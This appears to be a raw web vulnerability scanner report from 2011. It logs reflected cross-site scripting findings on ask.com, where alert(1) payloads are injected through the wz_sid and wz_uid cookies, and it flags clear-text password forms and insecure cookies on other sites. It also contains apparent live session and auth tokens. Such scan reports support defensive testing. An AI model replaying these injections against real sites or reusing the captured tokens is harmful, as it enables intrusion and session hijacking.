GET /pictureslanding HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F34ba45'-alert(1)-'b669950cf09; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 91fe6'-alert(1)-'505367578f9 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /questionoftheday HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F391fe6'-alert(1)-'505367578f9; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e2e6'-alert(1)-'e96646f8744 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /questionoftheday HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F37e2e6'-alert(1)-'e96646f8744; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83044'-alert(1)-'2b6cf44eb13 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /settings HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F383044'-alert(1)-'2b6cf44eb13; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e5c2'-alert(1)-'7f3f2543be0 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /settings HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F34e5c2'-alert(1)-'7f3f2543be0; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da9f8'-alert(1)-'a9cc9a3ec17 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3da9f8'-alert(1)-'a9cc9a3ec17; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F3da9f8'-alert(1)-'a9cc9a3ec17;u4=;u3=;u2=0;ord=-1467992265?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialog ...[SNIP]...
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d2f4f'-alert(1)-'2414e1b1a8c was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /videos HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3d2f4f'-alert(1)-'2414e1b1a8c; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6663'-alert(1)-'72888292672 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /videos HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3a6663'-alert(1)-'72888292672; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 781d9'-alert(1)-'e82c3d1acd9 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a31d'-alert(1)-'c55824a03bd was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /web HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F38a31d'-alert(1)-'c55824a03bd; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]... <iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0A4EDD4111C033B329ACD8C41BD460F38a31d'-alert(1)-'c55824a03bd;u4=;u3=;u2=0;ord=-1028427333?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialog ...[SNIP]...
The value of the wz_uid cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74fd0"><script>alert(1)</script>82d6116414b was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 177ad'-alert(1)-'86772840b71 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field:
password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://malsup.com/jquery/form/dummy2.php
The form contains the following password field:
Password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field:
Password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field:
Password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field:
password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field:
password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
GET /forums/showthread.php?t=39177&highlight=smooth HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.reel-time.com/forum/login.php?do=login
The form contains the following password field:
vb_login_password
Request
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /secure/login?session_full_logout=&trk=hb_signout&r= HTTP/1.1 Host: www.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a42198c; bcookie="v=1&d94e49db-3c23-4a26-a29f-2bc2d85c808d"; JSESSIONID="ajax:2350077440714366421"; leo_auth_token="GST:UJWUmX2WB6UBWvbQG9tU456hlj942-5NnJhAM36W6e3C5Y4NH21kQQ:1296155990:5ed64d4d5f57e19d1092d1eaf1f4a8bd26dd7b76"; visit=G; s_leo_auth_token="delete me"; lang="v=2&lang=en&c=";
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE" Expires: 0 Pragma: no-cache Cache-control: no-cache, must-revalidate, max-age=0 Set-Cookie: leo_auth_token="GST:U4lWXkjQ3w6HNUv-nUlaWUIo7h6V_Qw-aOlD2adTz-eYYAWJ39CBGM:1296157780:5c339d93dc107e9f4d21e938ffaf0bab11f63caf"; Version=1; Max-Age=1799; Expires=Thu, 27-Jan-2011 20:19:39 GMT; Path=/ Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: JSESSIONID=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/ Content-Type: text/html;charset=UTF-8 Date: Thu, 27 Jan 2011 19:49:40 GMT Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a421968;expires=Thu, 27-Jan-2011 20:19:49 GMT;path=/;httponly Content-Length: 13746
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 